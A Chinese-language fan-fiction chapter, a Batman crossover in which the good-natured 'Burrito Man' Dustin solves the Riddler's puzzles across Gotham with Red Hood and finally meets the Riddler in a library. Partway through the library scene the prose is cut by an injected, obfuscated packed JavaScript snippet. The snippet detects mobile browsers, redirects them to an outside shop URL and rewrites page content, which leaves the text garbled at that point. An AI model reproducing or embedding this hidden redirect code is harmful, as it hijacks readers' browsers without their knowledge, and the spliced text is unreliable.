门后面传来一声轻响,锁开了。 达斯汀推开门,里面是一个小房间,墙上挂满了钟表——挂钟、座钟、怀表,几百个,滴滴答答地走着。房间中央放着一个玻璃柜,柜子里锁着一本书,书皮上烫着金字:《哥谭谜语大全》。 旁边放着一张卡片。 “卷饼侠,你果然聪明。第三个谜题,在犯罪巷。那里有一堵墙,墙上有一百个问号,但只有一个是真的。找到它,你会得到下一个线索。限时四十分钟。” 达斯汀把卡片收起来,看了一眼那些钟表,又看了一眼那本书。他想了想,从腰包里掏出一个卷饼,放在玻璃柜旁边。 “给你吃。”他对着空气说,然后转身走了。 监控室里,谜语人看着屏幕上那个卷饼,愣住了。他盯着那个画面看了很久,然后嘴角抽了抽。 “给谜题……送卷饼?”他喃喃自语,然后笑了。那笑声尖锐刺耳,但里面好像多了一点别的东西。 ---犯罪巷--- 杰森蹲在巷口的阴影里,盯着那堵墙。墙上画满问号,红黄蓝绿,密密麻麻,像一群发疯的眼睛。他的人已经搜过一遍了,没发现炸弹,没发现机关,只有画。 “他到底想干什么?”杰森对着通讯器说。 提姆的声音传来:“他在玩游戏。和那个佛罗里达人。” 杰森的眉头皱起来。 “谜语人?和那个傻子?” “达斯汀已经解了两个谜题了。第一个是‘地图’,第二个是‘时间’。现在他在去犯罪巷的路上。” 杰森沉默了一秒。“他来犯罪巷?” “对。” 杰森站起来,踢了踢墙。“那个傻子。” 他转身想走,巷口传来脚步声。达斯汀从转角处走出来,身后跟着鳄鱼和火烈鸟。 “红头盔!”达斯汀眼睛亮了,“你也来玩?” 杰森看着他,沉默了一秒。“你来这里干什么?” “解谜题。”达斯汀指着那堵墙,“他说墙上有一百个问号,只有一个是真的。” 杰森看了一眼那堵墙。“然后呢?” “然后找下一个线索。”达斯汀从腰包里掏出一个卷饼递给他,“你吃了吗?” 杰森没接。“你不觉得这是陷阱?” 达斯汀想了想。“陷阱干嘛要让我解谜题?直接挖个坑不就行了?” 杰森被噎住了。达斯汀把卷饼塞到他手里,走到墙前面,开始看那些问号。他一个一个地看,从左边走到右边,又从右边走到左边。 杰森站在巷口,手里拿着卷饼,看着他。 达斯汀停在墙中间,指着一个小小的绿色问号。“这个。” 杰森走过去。“为什么?” “因为它画得最认真。”达斯汀说,“别的都随便画,这个一笔一笔涂的。” 杰森看着那个问号,没看出区别。达斯汀伸手按了一下,墙面凹进去一块,露出一个洞,里面放着一张卡片。 “卷饼侠,你比我想象的更聪明。第四个谜题,在企鹅人的旧赌场。那里有一扇门,门上有一百把锁。你需要找到唯一的那把钥匙。限时三十分钟。” 杰森的脸色变了。“企鹅人的地盘?” 达斯汀点头。“他说是旧赌场,应该没人了吧。” 杰森没说话,达斯汀把卡片收起来,转身往外走。走了两步,回头看他。“你去不去?” 杰森沉默了一秒,跟上去。 ---企鹅人旧赌场--- 赌场已经关门了,门窗钉死,招牌被砸烂,只有墙上的问号在夜色里发着绿光。 达斯汀站在门口,看着那扇门。门上挂着一百把锁,大大小小,密密麻麻,像一串金属葡萄。旁边放着一张桌子,桌上摆着一百把钥匙。 “要试嘛?”杰森的声音从头盔后面传来。 达斯汀摇头。“不用。”他走到门前,蹲下来,看着那些锁。然后他掏出一个卷饼,咬了一口,嚼着。 “第73把。”他说。 杰森皱眉。“你怎么知道?” “因为别的锁都是新的,只有第73把是旧的。有人试过。”达斯汀指了指锁上的划痕。 杰森拿起第73把钥匙,插进第73把锁。锁开了。 他看了达斯汀一眼,眼神复杂。达斯汀推开门,里面是一个大厅,中央摆着一张巨大的桌子,桌上放着一个盒子。盒子是透明的,里面装着一张卡片。 达斯汀走过去,拿起盒子。盒子没锁,直接打开,取出卡片。 “卷饼侠,你赢了。我的谜题,你全都解开了。作为奖励,我邀请你参加最后的游戏。明天晚上八点,哥谭图书馆。我会在那里等你。如果你不来——”卡片的背面画了一个笑脸,“那我只好去找你了。PS:你的卷饼,让我想起一个问题。” 达斯汀翻来覆去看了几遍。“他要请我玩。” 杰森拿过卡片看了一眼,脸色沉下来。“这是陷阱。” 达斯汀想了想。“也可能是真的请我玩。” 杰森盯着他。“你认真的?” 达斯汀点头。“他写了好几次‘你的卷饼’,所以他想吃卷饼。” 杰森张了张嘴,不知道该说什么。 达斯汀把卡片收进腰包,从桌上拿起一个卷饼——不知道什么时候放上去的,还冒着热气。“他留的。”他咬了一口,嚼着。“好吃。” 杰森看着他的脸,那张脸上没有恐惧,没有紧张,只有嚼卷饼的满足。 他叹了口气。“我跟你去。” 达斯汀眼睛亮了。“真的?” “嗯。” 达斯汀笑了,从腰包里掏出一把卷饼塞给他。“给你。明天吃饱了再去。” 杰森低头看着手里那一堆卷饼,嘴角抽了抽。 “……谢了。” ---蝙蝠洞--- 布鲁斯站在屏幕前,看着达斯汀和杰森从赌场出来的画面。提姆调出了谜语人留下的所有谜题——地图、时间、问号、钥匙,每一道都指向一个地点,每一个地点都布置得一丝不苟。 提姆说:“这些谜题不是临时想的,是他精心设计的。每一个地点都有监控,每一个谜题都有备选方案。” 达米安站在旁边,盯着屏幕上那个穿花裤衩的身影。“他解开了所有的谜题。” 布鲁斯点头。 “怎么解开的?” “直觉。”布鲁斯的声音平静,“他用直觉解题。不看逻辑,不看陷阱,直接找最像答案的那个。” 达米安沉默了一秒。 “谜语人会不会对他不利?” 布鲁斯没有回答。 迪克的声音从通讯器里传来,带着笑意。“那个傻子,让谜语人请他玩游戏。” 达米安的脸黑了。“明天我去。” “不行。”布鲁斯看着他。 达米安刚要表示不满。 布鲁斯说:“谜语人不会在图书馆动手,那不是他的风格。他想要的是——证明自己比达斯汀聪明。” 达米安点头。“那他明天会做什么?” 布鲁斯看着屏幕上那张卡片——那个用荧光粉画的问号,在夜色里发着幽幽的光,没有回话。 ---哥谭图书馆--- 图书馆的门开着。 达斯汀走进去,身后跟着杰森和,而小饼干趴在门口,火烈鸟蹲在它背上。 大厅里很暗,只有中央亮着一盏灯。灯光下坐着一个男人,穿着绿色西装,头发梳得一丝不苟,眼镜后面的眼睛亮得吓人。他面前摆着一张桌子,桌上放着两把椅子,两杯茶,还有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376645|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——卷饼。 “卷饼侠。”谜语人站起来,伸出手,“欢迎。” 达斯汀走过去,握住他的手。“你叫谜语人?” “叫我爱德华就行。”谜语人的笑容很绅士,但眼睛里的光让人后背发凉。他看着杰森,笑容加深了。“红头罩,你也来了。请坐。” 杰森没动。 谜语人也不在意,坐回椅子上,端起茶杯喝了一口。“卷饼侠,你知道我为什么请你来吗?” 达斯汀也坐下来,从腰包里掏出一个卷饼。“因为你喜欢吃卷饼?” 谜语人笑了。“是,也不是。”他放下茶杯,“你的卷饼,能让人不打仗。我研究过它的成分,研究过它的效果,研究过它的原理。结果呢?” “结果呢?” “什么也没研究出来。”谜语人的笑容更大了,“所以我才想见你。你不是用科学解题,是用直觉。这让我很困扰。” 达斯汀想了想。“那怎么办?” 谜语人从桌下拿出一个盒子,打开。里面放着五个卷饼,整整齐齐地码在一起。“这是我让人做的卷饼,用你一模一样的配方。”他拿起一个,掰开,露出里面的馅料——牛肉、生菜、番茄、辣椒酱。“你的卷饼,只有你亲手给才有用。我不信。” 他把卷饼递到达斯汀面前。“你吃一口。然后我再吃一口。” 达斯汀咬了一口,嚼着。谜语人接过卷饼,也咬了一口。嚼着。他的表情变了。 “什么感觉?”达斯汀问。 谜语人沉默了很久。“什么也没有。”他低头看着手里的卷饼,“就是个普通的卷饼。没有那种……不想打架的感觉。” 达斯汀从腰包里掏出一个卷饼,递给他。“那你吃我的。” 谜语人接过来,咬了一口。嚼着。他的手松开了,肩膀垂下来,整个人靠在椅背上。 “舒服。”他说,声音很轻,“就是……舒服。” 达斯汀笑了。“对吧。” 谜语人盯着手里的卷饼,看了很久。然后他抬起头,眼睛里的狂热退去了,取而代之的是一种奇怪的东西——像是困惑,又像是释然。 “你的卷饼,”他慢慢开口,“不是任何已知的东西。它是……你。” 达斯汀眨眨眼。“我?” “你相信,吃了你的卷饼就不该打架。所以大家都不打了。”谜语人的声音越来越低,“你相信,谜题是用来玩的,不是用来杀人的。所以你解开了我所有的谜题。” 达斯汀想了想。“你那些谜题,挺好玩的。” 谜语人愣住了。 “挺好玩的?”他重复了一遍。 “对啊。”达斯汀又咬了一口卷饼,“我玩得很开心。你也开心吧?” 谜语人沉默了很久。 然后他笑了。不是之前那种尖锐刺耳的笑,是真正的笑,带着一点苦涩,一点释然。 “开心。”他说,“很久没这么开心了。” 他从桌上拿起那个盒子,把里面五个卷饼一个一个地摆出来。牛肉、生菜、番茄、辣椒酱——他盯着那些馅料,像在解一道新的谜题。 “你知道卷饼馅料有几种吗?”他问。 达斯汀想了想。“很多种。” 谜语人笑了。“很多种。”他拿起笔,在盒子上写了一个字——不是问号,是一个数字。“七十三。”他说,“我数过。” 达斯汀探头看了一眼。“七十三种?” “七十三种可能的组合。”谜语人把盒子推到桌中间,“这是我这辈子解过的最无聊的谜题。”他顿了顿,“也是最开心的。” 杰森站在阴影里,看着这一幕,嘴角抽了抽。达米安站在他旁边,表情复杂。 谜语人站起来,整理了一下西装。“卷饼侠,今晚的游戏结束了。你赢了。” 达斯汀也站起来。“那明天还玩吗?” 谜语人看着他,眼睛里的光变了。不再是那种让人后背发凉的狂热,而是——期待。 “如果你来。”他说。 达斯汀笑了。“那我明天带卷饼来。” 谜语人点头,转身往黑暗里走。走了几步,停下来,回头。“那个卷饼——你给我的那个——它的馅料是什么?” 达斯汀想了想。“牛肉、生菜、番茄、辣椒酱。还有一样。” “什么?” “开心。” 谜语人沉默了一秒。然后他笑了,转身消失在黑暗里。 达斯汀站在原地,看着那个方向。“他笑了。”他对杰森说。 杰森没说话。 “他真的笑了。”达斯汀又说了一遍。 杰森叹了口气。“走吧。” 两人走出图书馆。小饼干从门口爬起来,跟在他们后面。火烈鸟从树上飞下来,落在小饼干背上。月亮从云层后面露出来,照在空荡荡的街道上。 达斯汀走了几步,突然停下来。“你先走。” 杰森回头。“干嘛?” 达斯汀从腰包里掏出一个卷饼,放在图书馆门口的台阶上。“给他留的。” 杰森看着他,沉默了很久。然后他转身走了。 达斯汀站在台阶上,对着黑暗挥手。 “明天见!” 黑暗里没有回应。但那张卡片,被风吹到了台阶下面。卡片上写着七个字—— “卷饼馅料有几种。” 那不是谜题,那是答案。 ---蝙蝠洞--- 布鲁斯坐在屏幕前,看着图书馆门口的监控回放。达斯汀把卷饼放在台阶上,对着黑暗挥手。谜语人站在阴影里,看着那个卷饼,没有拿。 他站了很久。 然后他蹲下来,拿起卷饼,咬了一口。 监控画面定格在那个瞬间——谜语人蹲在台阶上,手里拿着卷饼,嘴角带着一丝笑。 布鲁斯盯着那个画面,沉默了很久。 达米安走进来,手里端着杯热可可。“他走了?” 布鲁斯点头。 “谜语人拿了卷饼?” 布鲁斯点头。 达米安沉默了一秒。“他会不会再搞事?” 布鲁斯没有回答。他关掉屏幕,站起来。 “不知道。”他说,“但他今晚——很开心。” 达米安愣了愣,然后点点头。他转身往外走,走到门口时,回头看了一眼。 “那个傻子,明天还要去。” 布鲁斯的嘴角微微翘起。 达米安消失在门口。 阿尔弗雷德的声音从楼梯上传来。“各位少爷,蔬菜汁好了。” 迪克的笑声从通讯器里传来。“阿福,今晚能不加羽衣甘蓝吗?” “不能,少爷。” 杰森的声音插进来,闷闷的。“我不喝。” “杰森少爷,我特意为您留了一份。” “……我挂了。” 通讯切断。 迪克笑得蹲在地上。 布鲁斯看着屏幕上的监控回放——谜语人蹲在台阶上,手里拿着卷饼。